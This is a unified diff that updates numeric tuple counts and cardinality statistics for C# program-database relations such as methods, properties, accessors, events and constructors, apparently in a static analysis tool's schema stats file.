@@ -12800,17 +12920,17 @@ 1 2 -162318 +162642 2 7 -13472 +13499 7 2183 -1065 +1068 @@ -12820,15 +12940,15 @@ typeref_type -234444 +234911 id -234444 +234911 typeId -234444 +234911 @@ -12842,7 +12962,7 @@ 1 2 -234444 +234911 @@ -12858,7 +12978,7 @@ 1 2 -234444 +234911 @@ -12868,11 +12988,11 @@ array_element_type -9116 +9134 array -9116 +9134 dimension @@ -12884,7 +13004,7 @@ element -9106 +9124 @@ -12898,7 +13018,7 @@ 1 2 -9116 +9134 @@ -12914,7 +13034,7 @@ 1 2 -9116 +9134 @@ -12930,7 +13050,7 @@ 1 2 -9116 +9134 @@ -13072,7 +13192,7 @@ 1 2 -9096 +9114 2 @@ -13093,7 +13213,7 @@ 1 2 -9106 +9124 @@ -13109,7 +13229,7 @@ 1 2 -9096 +9114 2 @@ -13124,15 +13244,15 @@ nullable_underlying_type -976 +979 nullable -976 +979 underlying -976 +979 @@ -13146,7 +13266,7 @@ 1 2 -976 +979 @@ -13162,7 +13282,7 @@ 1 2 -976 +979 @@ -13220,15 +13340,15 @@ enum_underlying_type -11943 +11967 enum_id -11943 +11967 underlying_type_id -38 +39 @@ -13242,7 +13362,7 @@ 1 2 -11943 +11967 @@ -13298,15 +13418,15 @@ delegate_return_type -107475 +107690 delegate_id -107475 +107690 return_type_id -55470 +55581 @@ -13320,7 +13440,7 @@ 1 2 -107475 +107690 @@ -13336,12 +13456,12 @@ 1 2 -52160 +52264 2 4178 -3309 +3316 @@ -13351,15 +13471,15 @@ extend -323254 +323899 sub -323254 +323899 super -31543 +31606 @@ -13373,7 +13493,7 @@ 1 2 -323254 +323899 @@ -13389,22 +13509,22 @@ 1 2 -22612 +22657 2 3 -3976 +3984 3 5 -2414 +2418 5 70 -2375 +2379 70 @@ -13419,15 +13539,15 @@ implement -541237 +542318 sub -226189 +226640 super -122456 +122701 @@ -13441,27 +13561,27 @@ 1 2 -100700 +100901 2 3 -57003 +57117 3 4 -36084 +36156 4 7 -18957 +18995 7 21 -13442 +13469 @@ -13477,27 +13597,27 @@ 1 2 -66903 +67036 2 3 -29762 +29821 3 4 -10240 +10260 4 6 -8687 +8705 6 21807 -6862 +6876 @@ -13507,15 +13627,15 @@ type_location -553293 +554397 id -466629 +467561 loc -29854 +29914 @@ -13529,17 +13649,17 @@ 1 2 -407095 +407907 2 3 -39204 +39282 3 638 -20329 +20370 @@ -13555,17 +13675,17 @@ 1 2 -25985 +26037 2 26 -2268 +2272 26 12195 -1601 +1604 @@ -13575,15 +13695,15 @@ tuple_underlying_type -1781 +1784 tuple -1781 +1784 struct -1138 +1141 @@ -13597,7 +13717,7 @@ 1 2 -1781 +1784 @@ -13613,12 +13733,12 @@ 1 2 -642 +643 2 3 -423 +424 3 @@ -13633,11 +13753,11 @@ tuple_element -6784 +6798 tuple -1776 +1780 index @@ -13645,7 +13765,7 @@ field -6784 +6798 @@ -13664,7 +13784,7 @@ 2 3 -1134 +1136 3 @@ -13710,7 +13830,7 @@ 2 3 -1134 +1136 3 @@ -13983,7 +14103,7 @@ 1 2 -6784 +6798 @@ -13999,7 +14119,7 @@ 1 2 -6784 +6798 @@ -14009,19 +14129,19 @@ attributes -748732 +750241 id -748732 +750241 type_id -1684 +1687 target -428744 +429609 @@ -14035,7 +14155,7 @@ 1 2 -748732 +750241 @@ -14051,7 +14171,7 @@ 1 2 -748732 +750241 @@ -14067,12 +14187,12 @@ 1 2 -184 +185 2 3 -194 +195 3 @@ -14126,7 +14246,7 @@ 5204 -41857 +41859 19 @@ -14143,7 +14263,7 @@ 1 2 -311 +312 2 @@ -14197,8 +14317,8 @@ 562 -39377 -116 +39379 +117 @@ -14214,17 +14334,17 @@ 1 2 -365306 +366040 2 3 -48773 +48875 3 957 -14664 +14693 @@ -14240,17 +14360,17 @@ 1 2 -394499 +395296 2 15 -33422 +33489 15 20 -822 +824 @@ -14260,15 +14380,15 @@ attribute_location -816740 +818385 id -748732 +750241 loc -72276 +72420 @@ -14282,12 +14402,12 @@ 1 2 -680724 +682097 2 3 -68008 +68143 @@ -14303,12 +14423,12 @@ 1 2 -68076 +68212 4 26710 -4200 +4208 @@ -14318,19 +14438,19 @@ type_mention -1266369 +1268897 id -1266369 +1268897 type_id -34380 +34449 parent -1026360 +1028409 @@ -14344,7 +14464,7 @@ 1 2 -1266369 +1268897 @@ -14360,7 +14480,7 @@ 1 2 -1266369 +1268897 @@ -14376,52 +14496,52 @@ 1 2 -4953 +4963 2 3 -6782 +6795 3 4 -3377 +3383 4 5 -4017 +4025 5 6 -2092 +2096 6 8 -2897 +2903 8 12 -2796 +2802 12 20 -2609 +2614 20 51 -2579 +2584 51 82736 -2274 +2279 @@ -14437,52 +14557,52 @@ 1 2 -9445 +9464 2 3 -5690 +5701 3 4 -3304 +3310 4 5 -2994 +3000 5 6 -1943 +1946 6 8 -2508 +2513 8 13 -2755 +2760 13 29 -2624 +2629 29 206 -2581 +2586 206 67615 -531 +532 @@ -14498,17 +14618,17 @@ 1 2 -869001 +870735 2 3 -137052 +137326 3 342 -20306 +20347 @@ -14524,12 +14644,12 @@ 1 2 -1005727 +1007734 2 22 -20633 +20674 @@ -14539,15 +14659,15 @@ type_mention_location -1266369 +1268897 id -1266369 +1268897 loc -1137201 +1139473 @@ -14561,7 +14681,7 @@ 1 2 -1266369 +1268897 @@ -14577,12 +14697,12 @@ 1 2 -1074850 +1076995 2 199 -62351 +62478 @@ -14592,11 +14712,11 @@ type_annotation -50890 +50992 id -50890 +50992 annotation @@ -14614,7 +14734,7 @@ 1 2 -50890 +50992 @@ -14650,11 +14770,11 @@ nullability -1995 +1999 nullability -1995 +1999 kind @@ -14672,7 +14792,7 @@ 1 2 -1995 +1999 @@ -14708,11 +14828,11 @@ nullability_parent -6273 +6286 nullability -520 +521 index @@ -14720,7 +14840,7 @@ parent -1980 +1984 @@ -14734,12 +14854,12 @@ 1 2 -340 +341 2 3 -116 +117 3 @@ -14780,12 +14900,12 @@ 4 5 -38 +39 5 8 -38 +39 8 @@ -14963,12 +15083,12 @@ 1 2 -593 +594 2 3 -1226 +1228 3 @@ -14989,12 +15109,12 @@ 1 2 -496 +497 2 3 -720 +721 3 @@ -15014,12 +15134,12 @@ 8 15 -155 +156 15 22 -38 +39 @@ -15029,15 +15149,15 @@ type_nullability -4603538 +4610045 id -4529161 +4535598 nullability -964 +965 @@ -15051,12 +15171,12 @@ 1 2 -4463621 +4469988 2 9 -65540 +65610 @@ -15077,37 +15197,37 @@ 2 3 -142 +144 3 4 -57 +55 4 5 -69 +70 5 7 -83 +85 7 10 -66 +64 10 14 -75 +74 14 23 -77 +78 23 @@ -15116,18 +15236,18 @@ 45 -123 -74 - - -123 -4618 +122 73 -5092 -3680271 -10 +122 +4134 +73 + + +4645 +3682170 +11 @@ -15137,11 +15257,11 @@ expr_flowstate -2987557 +2993545 id -2987557 +2993545 state @@ -15159,7 +15279,7 @@ 1 2 -2987557 +2993545 @@ -15173,13 +15293,13 @@ 12 -205765 -205766 +205783 +205784 1 -2254377 -2254378 +2254379 +2254380 1 @@ -15190,11 +15310,11 @@ type_parameters -202540 +202944 id -202540 +202944 index @@ -15202,7 +15322,7 @@ generic_id -103630 +103837 variance @@ -15220,7 +15340,7 @@ 1 2 -202540 +202944 @@ -15236,7 +15356,7 @@ 1 2 -202540 +202944 @@ -15252,7 +15372,7 @@ 1 2 -202540 +202944 @@ -15510,7 +15630,7 @@ 3 4 -77 +78 @@ -15526,22 +15646,22 @@ 1 2 -80521 +80682 2 3 -10766 +10787 3 11 -8342 +8358 11 22 -4000 +4008 @@ -15557,22 +15677,22 @@ 1 2 -80521 +80682 2 3 -10766 +10787 3 11 -8342 +8358 11 22 -4000 +4008 @@ -15588,12 +15708,12 @@ 1 2 -103479 +103686 2 3 -150 +151 @@ -15681,11 +15801,11 @@ type_arguments -643305 +644589 id -273054 +273599 index @@ -15693,7 +15813,7 @@ constructed_id -412580 +413403 @@ -15707,17 +15827,17 @@ 1 2 -234492 +234960 2 3 -37087 +37161 3 21 -1474 +1477 @@ -15733,27 +15853,27 @@ 1 2 -173804 +174151 2 3 -56429 +56541 3 5 -20553 +20594 5 23 -20636 +20677 23 2800 -1630 +1633 @@ -15981,17 +16101,17 @@ 1 2 -289836 +290415 2 3 -96159 +96351 3 22 -26584 +26637 @@ -16007,17 +16127,17 @@ 1 2 -287675 +288249 2 3 -97157 +97351 3 22 -27747 +27802 @@ -16027,15 +16147,15 @@ constructed_generic -412580 +413403 constructed -412580 +413403 generic -8570 +8588 @@ -16049,7 +16169,7 @@ 1 2 -412580 +413403 @@ -16065,42 +16185,42 @@ 1 2 -3441 +3447 2 3 -1153 +1155 3 4 -618 +619 4 6 -652 +653 6 11 -725 +726 11 26 -647 +648 26 63 -657 +658 63 2866 -647 +648 2964 @@ -16115,15 +16235,15 @@ type_parameter_constraints -610345 +611564 id -610345 +611564 param_id -202452 +202856 @@ -16137,7 +16257,7 @@ 1 2 -610345 +611564 @@ -16153,22 +16273,22 @@ 1 2 -164099 +164427 2 3 -17672 +17707 3 11 -16577 +16610 11 2108 -4102 +4111 @@ -16214,11 +16334,11 @@ general_type_parameter_constraints -118962 +119012 id -68393 +68415 kind @@ -16236,12 +16356,12 @@ 1 2 -17824 +17818 2 3 -50569 +50597 @@ -16260,23 +16380,23 @@ 1 -440 -441 +442 +443 1 -5904 -5905 +5903 +5904 1 -50448 -50449 +50476 +50477 1 -62166 -62167 +62187 +62188 1 @@ -16287,15 +16407,15 @@ specific_type_parameter_constraints -57187 +57191 id -56336 +56337 base_id -1283 +1286 @@ -16309,12 +16429,12 @@ 1 2 -55533 +55531 2 5 -803 +806 @@ -16335,27 +16455,27 @@ 2 3 -213 +215 3 4 -76 +77 4 5 -97 +100 5 6 -58 +54 6 7 -115 +116 7 @@ -16389,7 +16509,7 @@ 204 -8421 +8422 41 @@ -16400,15 +16520,15 @@ specific_type_parameter_nullability -39912 +39909 id -39677 +39671 base_id -924 +927 nullability @@ -16426,12 +16546,12 @@ 1 2 -39442 +39433 2 3 -235 +238 @@ -16447,7 +16567,7 @@ 1 2 -39677 +39671 @@ -16468,27 +16588,27 @@ 2 3 -200 +202 3 4 -54 +55 4 5 -49 +52 5 6 -52 +47 6 7 -79 +81 7 @@ -16498,12 +16618,12 @@ 10 12 -55 +53 12 16 -69 +71 16 @@ -16522,7 +16642,7 @@ 93 -6982 +6983 56 @@ -16539,7 +16659,7 @@ 1 2 -892 +895 2 @@ -16623,8 +16743,8 @@ 1 -38750 -38751 +38744 +38745 1 @@ -16679,8 +16799,8 @@ 1 -847 -848 +850 +851 1 @@ -16739,11 +16859,11 @@ has_modifiers -5491690 +5502891 id -3687943 +3695539 mod_id @@ -16761,17 +16881,17 @@ 1 2 -2019579 +2023840 2 3 -1534819 +1537888 3 5 -133543 +133810 @@ -16830,8 +16950,8 @@ 4 -30651 -30652 +30699 +30700 4 @@ -16845,8 +16965,8 @@ 4 -63916 -63917 +63917 +63918 4 @@ -16877,26 +16997,26 @@ compiler_generated -135743 +136014 id -135743 +136014 exprorstmt_name -3700 +3707 parent_id -3700 +3707 name -365 +366 @@ -16910,7 +17030,7 @@ 1 2 -3700 +3707 @@ -16926,7 +17046,7 @@ 2 3 -106 +107 3 @@ -16976,19 +17096,19 @@ nested_types -111851 +112074 id -111851 +112074 declaring_type_id -40567 +40648 unbound_id -81056 +81218 @@ -17002,7 +17122,7 @@ 1 2 -111851 +112074 @@ -17018,7 +17138,7 @@ 1 2 -111851 +112074 @@ -17034,32 +17154,32 @@ 1 2 -23469 +23516 2 3 -6332 +6344 3 4 -3226 +3233 4 7 -3353 +3360 7 12 -3090 +3096 12 262 -1095 +1097 @@ -17075,32 +17195,32 @@ 1 2 -23503 +23550 2 3 -6414 +6427 3 4 -3144 +3150 4 7 -3382 +3389 7 12 -3076 +3082 12 206 -1046 +1048 @@ -17116,12 +17236,12 @@ 1 2 -78044 +78199 2 415 -3012 +3018 @@ -17137,12 +17257,12 @@ 1 2 -78783 +78941 2 415 -2272 +2277 @@ -17152,27 +17272,27 @@ properties -423224 +424069 id -423224 +424069 name -84298 +84466 declaring_type_id -116289 +116522 type_id -52087 +52191 unbound_id -333601 +334267 @@ -17186,7 +17306,7 @@ 1 2 -423224 +424069 @@ -17202,7 +17322,7 @@ 1 2 -423224 +424069 @@ -17218,7 +17338,7 @@ 1 2 -423224 +424069 @@ -17234,7 +17354,7 @@ 1 2 -423224 +424069 @@ -17250,32 +17370,32 @@ 1 2 -50715 +50816 2 3 -13983 +14011 3 4 -5748 +5759 4 7 -6643 +6656 7 49 -6332 +6344 49 2611 -876 +877 @@ -17291,32 +17411,32 @@ 1 2 -50715 +50816 2 3 -14051 +14079 3 4 -5733 +5744 4 7 -6677 +6691 7 51 -6327 +6339 51 2578 -793 +794 @@ -17332,17 +17452,17 @@ 1 2 -72782 +72928 2 3 -6925 +6939 3 524 -4589 +4598 @@ -17358,32 +17478,32 @@ 1 2 -51143 +51245 2 3 -14246 +14274 3 4 -5733 +5744 4 7 -6439 +6452 7 68 -6322 +6335 68 2018 -413 +414 @@ -17399,42 +17519,42 @@ 1 2 -39355 +39434 2 3 -29845 +29904 3 4 -10892 +10914 4 5 -7836 +7851 5 6 -7125 +7139 6 8 -9320 +9339 8 16 -9559 +9578 16 250 -2355 +2360 @@ -17450,42 +17570,42 @@ 1 2 -43862 +43949 2 3 -25416 +25466 3 4 -10887 +10909 4 5 -7855 +7871 5 6 -7140 +7154 6 8 -9276 +9295 8 14 -8736 +8753 14 250 -3114 +3121 @@ -17501,32 +17621,32 @@ 1 2 -45415 +45505 2 3 -32590 +32655 3 4 -13827 +13855 4 5 -7539 +7554 5 7 -9374 +9392 7 48 -7544 +7559 @@ -17542,42 +17662,42 @@ 1 2 -39355 +39434 2 3 -29845 +29904 3 4 -10892 +10914 4 5 -7836 +7851 5 6 -7125 +7139 6 8 -9320 +9339 8 16 -9559 +9578 16 250 -2355 +2360 @@ -17593,27 +17713,27 @@ 1 2 -31392 +31455 2 3 -10770 +10792 3 5 -4628 +4637 5 21 -3942 +3950 21 12516 -1353 +1355 @@ -17629,17 +17749,17 @@ 1 2 -44042 +44130 2 3 -4395 +4403 3 3289 -3650 +3657 @@ -17655,27 +17775,27 @@ 1 2 -32575 +32640 2 3 -10474 +10494 3 5 -4419 +4428 5 33 -3908 +3916 33 6176 -710 +712 @@ -17691,27 +17811,27 @@ 1 2 -31534 +31596 2 3 -10902 +10924 3 5 -4662 +4672 5 22 -3908 +3916 22 10632 -1080 +1082 @@ -17727,12 +17847,12 @@ 1 2 -328432 +329088 2 705 -5168 +5179 @@ -17748,7 +17868,7 @@ 1 2 -333601 +334267 @@ -17764,12 +17884,12 @@ 1 2 -328432 +329088 2 705 -5168 +5179 @@ -17785,12 +17905,12 @@ 1 2 -332394 +333058 2 439 -1207 +1209 @@ -17800,15 +17920,15 @@ property_location -534058 +535129 id -423224 +424069 loc -52856 +52962 @@ -17822,17 +17942,17 @@ 1 2 -337860 +338534 2 3 -64060 +64183 3 119 -21303 +21350 @@ -17848,12 +17968,12 @@ 1 2 -49376 +49475 2 7080 -3479 +3486 @@ -17863,11 +17983,11 @@ indexers -17030 +17064 id -17030 +17064 name @@ -17875,15 +17995,15 @@ declaring_type_id -13540 +13567 type_id -3966 +3974 unbound_id -4433 +4442 @@ -17897,7 +18017,7 @@ 1 2 -17030 +17064 @@ -17913,7 +18033,7 @@ 1 2 -17030 +17064 @@ -17929,7 +18049,7 @@ 1 2 -17030 +17064 @@ -17945,7 +18065,7 @@ 1 2 -17030 +17064 @@ -18080,17 +18200,17 @@ 1 2 -10498 +10519 2 3 -2745 +2750 3 7 -296 +297 @@ -18106,7 +18226,7 @@ 1 2 -13530 +13557 2 @@ -18127,12 +18247,12 @@ 1 2 -11038 +11060 2 3 -2501 +2506 @@ -18148,17 +18268,17 @@ 1 2 -10498 +10519 2 3 -2745 +2750 3 7 -296 +297 @@ -18174,27 +18294,27 @@ 1 2 -876 +877 2 3 -871 +872 3 4 -1625 +1628 4 6 -267 +268 6 18 -301 +302 18 @@ -18215,7 +18335,7 @@ 1 2 -3961 +3969 2 @@ -18236,17 +18356,17 @@ 1 2 -1031 +1033 2 3 -778 +780 3 4 -1659 +1662 4 @@ -18256,7 +18376,7 @@ 6 978 -257 +258 @@ -18272,27 +18392,27 @@ 1 2 -876 +877 2 3 -871 +872 3 4 -1649 +1653 4 6 -267 +268 6 198 -301 +302 @@ -18308,12 +18428,12 @@ 1 2 -4098 +4106 2 452 -335 +336 @@ -18329,7 +18449,7 @@ 1 2 -4433 +4442 @@ -18345,12 +18465,12 @@ 1 2 -4098 +4106 2 452 -335 +336 @@ -18366,12 +18486,12 @@ 1 2 -4244 +4252 2 452 -189 +190 @@ -18381,11 +18501,11 @@ indexer_location -23737 +23802 id -12580 +12621 loc @@ -18403,27 +18523,27 @@ 1 2 -4392 +4407 2 3 -6670 +6698 3 4 -289 +286 4 5 -1115 +1117 5 13 -114 +113 @@ -18444,12 +18564,12 @@ 2 3 -23 +22 3 4 -17 +18 4 @@ -18482,8 +18602,8 @@ 17 -3525 -5399 +3540 +5425 3 @@ -18494,11 +18614,11 @@ accessors -567456 +568589 id -567456 +568589 kind @@ -18506,15 +18626,15 @@ name -121157 +121398 declaring_member_id -440254 +441133 unbound_id -440103 +440982 @@ -18528,7 +18648,7 @@ 1 2 -567456 +568589 @@ -18544,7 +18664,7 @@ 1 2 -567456 +568589 @@ -18560,7 +18680,7 @@ 1 2 -567456 +568589 @@ -18576,7 +18696,7 @@ 1 2 -567456 +568589 @@ -18676,27 +18796,27 @@ 1 2 -75138 +75288 2 3 -19935 +19975 3 4 -7923 +7939 4 8 -10118 +10138 8 2558 -8040 +8056 @@ -18712,7 +18832,7 @@ 1 2 -121157 +121398 @@ -18728,27 +18848,27 @@ 1 2 -75148 +75298 2 3 -19925 +19965 3 4 -7923 +7939 4 8 -10118 +10138 8 2558 -8040 +8056 @@ -18764,27 +18884,27 @@ 1 2 -75785 +75937 2 3 -20602 +20643 3 4 -7758 +7773 4 8 -9646 +9665 8 1202 -7363 +7378 @@ -18800,12 +18920,12 @@ 1 2 -313062 +313687 2 3 -127187 +127441 4 @@ -18826,12 +18946,12 @@ 1 2 -313062 +313687 2 3 -127192 +127446 @@ -18847,12 +18967,12 @@ 1 2 -313062 +313687 2 3 -127192 +127446 @@ -18868,12 +18988,12 @@ 1 2 -313062 +313687 2 3 -127187 +127441 4 @@ -18894,12 +19014,12 @@ 1 2 -433445 +434310 2 705 -6658 +6671 @@ -18915,7 +19035,7 @@ 1 2 -440103 +440982 @@ -18931,7 +19051,7 @@ 1 2 -440103 +440982 @@ -18947,12 +19067,12 @@ 1 2 -433445 +434310 2 705 -6658 +6671 @@ -18973,15 +19093,15 @@ accessor_location -747223 +748724 id -567456 +568589 loc -93146 +93332 @@ -18995,17 +19115,17 @@ 1 2 -432394 +433257 2 3 -98335 +98521 3 119 -36727 +36810 @@ -19021,12 +19141,12 @@ 1 2 -89545 +89723 2 8294 -3601 +3608 @@ -19036,27 +19156,27 @@ events -15219 +15249 id -15219 +15249 name -12980 +13006 declaring_type_id -1226 +1228 type_id -6361 +6374 unbound_id -15209 +15240 @@ -19070,7 +19190,7 @@ 1 2 -15219 +15249 @@ -19086,7 +19206,7 @@ 1 2 -15219 +15249 @@ -19102,7 +19222,7 @@ 1 2 -15219 +15249 @@ -19118,7 +19238,7 @@ 1 2 -15219 +15249 @@ -19134,12 +19254,12 @@ 1 2 -11992 +12016 2 12 -978 +980 14 @@ -19160,12 +19280,12 @@ 1 2 -11992 +12016 2 10 -978 +980 14 @@ -19186,7 +19306,7 @@ 1 2 -12839 +12865 2 @@ -19207,12 +19327,12 @@ 1 2 -11992 +12016 2 12 -978 +980 14 @@ -19233,12 +19353,12 @@ 1 2 -618 +619 2 3 -228 +229 3 @@ -19274,7 +19394,7 @@ 1 2 -618 +619 2 @@ -19315,7 +19435,7 @@ 1 2 -769 +770 2 @@ -19335,7 +19455,7 @@ 12 181 -77 +78 @@ -19351,12 +19471,12 @@ 1 2 -618 +619 2 3 -228 +229 3 @@ -19392,22 +19512,22 @@ 1 2 -4409 +4418 2 3 -1163 +1165 3 6 -515 +516 6 318 -272 +273 @@ -19423,17 +19543,17 @@ 1 2 -4798 +4808 2 3 -915 +916 3 8 -501 +502 8 @@ -19454,12 +19574,12 @@ 1 2 -5748 +5759 2 4 -520 +521 4 @@ -19480,22 +19600,22 @@ 1 2 -4409 +4418 2 3 -1163 +1165 3 6 -515 +516 6 318 -272 +273 @@ -19511,7 +19631,7 @@ 1 2 -15199 +15230 2 @@ -19532,7 +19652,7 @@ 1 2 -15209 +15240 @@ -19548,7 +19668,7 @@ 1 2 -15199 +15230 2 @@ -19569,7 +19689,7 @@ 1 2 -15199 +15230 2 @@ -19584,11 +19704,11 @@ event_location -15857 +15888 id -15219 +15249 loc @@ -19606,12 +19726,12 @@ 1 2 -14581 +14610 2 3 -637 +638 @@ -19687,11 +19807,11 @@ event_accessors -30438 +30499 id -30438 +30499 kind @@ -19699,15 +19819,15 @@ name -26671 +26725 declaring_event_id -15219 +15249 unbound_id -30419 +30480 @@ -19721,7 +19841,7 @@ 1 2 -30438 +30499 @@ -19737,7 +19857,7 @@ 1 2 -30438 +30499 @@ -19753,7 +19873,7 @@ 1 2 -30438 +30499 @@ -19769,7 +19889,7 @@ 1 2 -30438 +30499 @@ -19849,12 +19969,12 @@ 1 2 -24686 +24735 2 16 -1985 +1989 @@ -19870,7 +19990,7 @@ 1 2 -26671 +26725 @@ -19886,12 +20006,12 @@ 1 2 -24686 +24735 2 16 -1985 +1989 @@ -19907,12 +20027,12 @@ 1 2 -24686 +24735 2 16 -1985 +1989 @@ -19928,7 +20048,7 @@ 2 3 -15219 +15249 @@ -19944,7 +20064,7 @@ 2 3 -15219 +15249 @@ -19960,7 +20080,7 @@ 2 3 -15219 +15249 @@ -19976,7 +20096,7 @@ 2 3 -15219 +15249 @@ -19992,7 +20112,7 @@ 1 2 -30399 +30460 2 @@ -20013,7 +20133,7 @@ 1 2 -30419 +30480 @@ -20029,7 +20149,7 @@ 1 2 -30419 +30480 @@ -20045,7 +20165,7 @@ 1 2 -30399 +30460 2 @@ -20060,11 +20180,11 @@ event_accessor_location -31714 +31777 id -30438 +30499 loc @@ -20082,12 +20202,12 @@ 1 2 -29163 +29221 2 3 -1275 +1277 @@ -20163,11 +20283,11 @@ operators -12401 +12426 id -12401 +12426 name @@ -20175,19 +20295,19 @@ symbol -116 +117 declaring_type_id -3022 +3028 type_id -1620 +1623 unbound_id -11647 +11670 @@ -20201,7 +20321,7 @@ 1 2 -12401 +12426 @@ -20217,7 +20337,7 @@ 1 2 -12401 +12426 @@ -20233,7 +20353,7 @@ 1 2 -12401 +12426 @@ -20249,7 +20369,7 @@ 1 2 -12401 +12426 @@ -20265,7 +20385,7 @@ 1 2 -12401 +12426 @@ -20459,7 +20579,7 @@ 2 3 -38 +39 3 @@ -20764,7 +20884,7 @@ 2 3 -38 +39 3 @@ -20886,12 +21006,12 @@ 1 2 -472 +473 2 3 -1567 +1570 3 @@ -20901,7 +21021,7 @@ 4 6 -267 +268 6 @@ -20911,12 +21031,12 @@ 7 16 -228 +229 16 73 -111 +112 @@ -20932,12 +21052,12 @@ 1 2 -627 +629 2 3 -1538 +1541 3 @@ -20947,7 +21067,7 @@ 4 5 -272 +273 5 @@ -20973,12 +21093,12 @@ 1 2 -627 +629 2 3 -1542 +1545 3 @@ -20988,17 +21108,17 @@ 4 5 -272 +273 5 9 -228 +229 9 22 -111 +112 @@ -21014,12 +21134,12 @@ 1 2 -2019 +2023 2 3 -418 +419 3 @@ -21050,12 +21170,12 @@ 1 2 -472 +473 2 3 -1567 +1570 3 @@ -21065,7 +21185,7 @@ 4 6 -267 +268 6 @@ -21075,12 +21195,12 @@ 7 16 -228 +229 16 73 -111 +112 @@ -21096,12 +21216,12 @@ 1 2 -793 +794 2 3 -369 +370 3 @@ -21137,17 +21257,17 @@ 1 2 -1207 +1209 2 3 -150 +151 3 5 -116 +117 5 @@ -21173,7 +21293,7 @@ 1 2 -1207 +1209 2 @@ -21209,7 +21329,7 @@ 1 2 -1265 +1267 2 @@ -21240,12 +21360,12 @@ 1 2 -793 +794 2 3 -369 +370 3 @@ -21281,7 +21401,7 @@ 1 2 -11500 +11523 2 @@ -21302,7 +21422,7 @@ 1 2 -11647 +11670 @@ -21318,7 +21438,7 @@ 1 2 -11647 +11670 @@ -21334,7 +21454,7 @@ 1 2 -11500 +11523 2 @@ -21355,7 +21475,7 @@ 1 2 -11588 +11611 2 @@ -21370,15 +21490,15 @@ operator_location -22240 +22284 id -5632 +5643 loc -3156 +3162 @@ -21392,12 +21512,12 @@ 1 2 -839 +840 2 3 -3147 +3153 3 @@ -21407,12 +21527,12 @@ 9 11 -449 +450 11 12 -581 +582 12 @@ -21433,12 +21553,12 @@ 1 2 -2766 +2771 2 9 -236 +237 9 @@ -21453,15 +21573,15 @@ constant_value -185218 +185587 id -185106 +185475 value -47819 +47914 @@ -21475,12 +21595,12 @@ 1 2 -184994 +185363 2 3 -111 +112 @@ -21496,27 +21616,27 @@ 1 2 -32867 +32933 2 3 -7213 +7227 3 4 -3883 +3891 4 61 -3587 +3594 61 2421 -267 +268 @@ -21526,27 +21646,27 @@ methods -1115829 +1118291 id -1115829 +1118291 name -133495 +133961 declaring_type_id -201887 +202505 type_id -112795 +113020 unbound_id -696055 +697679 @@ -21560,7 +21680,7 @@ 1 2 -1115829 +1118291 @@ -21576,7 +21696,7 @@ 1 2 -1115829 +1118291 @@ -21592,7 +21712,7 @@ 1 2 -1115829 +1118291 @@ -21608,7 +21728,7 @@ 1 2 -1115829 +1118291 @@ -21624,32 +21744,32 @@ 1 2 -69093 +69407 2 3 -23600 +23662 3 4 -10824 +10855 4 6 -10415 +10436 6 12 -10561 +10582 12 5621 -8999 +9017 @@ -21665,32 +21785,32 @@ 1 2 -79455 +79789 2 3 -19327 +19380 3 4 -11306 +11338 4 7 -11038 +11060 7 33 -10099 +10119 33 4959 -2268 +2272 @@ -21706,22 +21826,22 @@ 1 2 -112775 +113200 2 3 -10585 +10607 3 -174 -10016 +209 +10051 -177 +222 2703 -116 +102 @@ -21737,32 +21857,32 @@ 1 2 -70831 +71148 2 3 -24466 +24530 3 4 -10897 +10928 4 6 -10712 +10733 6 -12 -10021 +13 +10733 -12 +13 4958 -6565 +5886 @@ -21778,42 +21898,42 @@ 1 2 -59680 +59994 2 3 -42952 +43057 3 4 -31271 +31333 4 5 -14241 +14269 5 6 -14776 +14806 6 10 -16085 +16117 10 23 -15642 +15674 23 1309 -7237 +7251 @@ -21829,37 +21949,37 @@ 1 2 -64742 +65066 2 3 -44636 +44744 3 4 -34366 +34435 4 5 -18178 +18214 5 8 -18144 +18180 8 18 -15238 +15269 18 457 -6580 +6593 @@ -21875,32 +21995,32 @@ 1 2 -97726 +98136 2 3 -48870 +48968 3 4 -22928 +22974 4 5 -11612 +11636 5 10 -15195 +15225 10 738 -5553 +5564 @@ -21916,42 +22036,42 @@ 1 2 -59787 +60102 2 3 -43030 +43135 3 4 -31271 +31333 4 5 -14275 +14303 5 6 -14796 +14825 6 10 -16003 +16035 10 23 -16100 +16132 23 698 -6624 +6637 @@ -21967,27 +22087,27 @@ 1 2 -75381 +75532 2 3 -14469 +14498 3 4 -8303 +8319 4 10 -8819 +8836 10 -62149 -5821 +62181 +5832 @@ -22003,22 +22123,22 @@ 1 2 -91501 +91684 2 3 -9607 +9626 3 8 -8658 +8675 8 -7666 -3027 +7691 +3033 @@ -22034,22 +22154,22 @@ 1 2 -87330 +87504 2 3 -13968 +13996 3 8 -8794 +8812 8 -19632 -2701 +19662 +2706 @@ -22065,27 +22185,27 @@ 1 2 -75493 +75644 2 3 -14528 +14557 3 4 -8376 +8393 4 10 -8755 +8773 10 -44480 -5640 +44512 +5652 @@ -22101,12 +22221,12 @@ 1 2 -669242 +670812 2 1367 -26812 +26866 @@ -22122,7 +22242,7 @@ 1 2 -696055 +697679 @@ -22138,12 +22258,12 @@ 1 2 -671106 +672680 2 1367 -24948 +24998 @@ -22159,12 +22279,12 @@ 1 2 -685698 +687301 2 1367 -10357 +10377 @@ -22174,15 +22294,15 @@ method_location -1279418 +1282235 id -1115829 +1118291 loc -40801 +40882 @@ -22196,17 +22316,17 @@ 1 2 -985551 +987752 2 3 -98194 +98360 3 119 -32084 +32177 @@ -22222,17 +22342,17 @@ 1 2 -36191 +36264 2 51 -3076 +3082 51 27729 -1533 +1536 @@ -22242,23 +22362,23 @@ constructors -277440 +277993 id -277440 +277993 name -133368 +133634 declaring_type_id -211826 +212249 unbound_id -223089 +223534 @@ -22272,7 +22392,7 @@ 1 2 -277440 +277993 @@ -22288,7 +22408,7 @@ 1 2 -277440 +277993 @@ -22304,7 +22424,7 @@ 1 2 -277440 +277993 @@ -22320,22 +22440,22 @@ 1 2 -102112 +102315 2 3 -19156 +19195 3 8 -10240 +10260 8 2183 -1859 +1862 @@ -22351,17 +22471,17 @@ 1 2 -122393 +122637 2 11 -10074 +10095 11 2183 -900 +902 @@ -22377,22 +22497,22 @@ 1 2 -102992 +103198 2 3 -19312 +19351 3 10 -10079 +10099 10 2183 -983 +985 @@ -22408,17 +22528,17 @@ 1 2 -179182 +179540 2 3 -19736 +19775 3 20 -12907 +12933 @@ -22434,7 +22554,7 @@ 1 2 -211826 +212249 @@ -22450,17 +22570,17 @@ 1 2 -179182 +179540 2 3 -19736 +19775 3 20 -12907 +12933 @@ -22476,12 +22596,12 @@ 1 2 -220660 +221100 2 780 -2428 +2433 @@ -22497,7 +22617,7 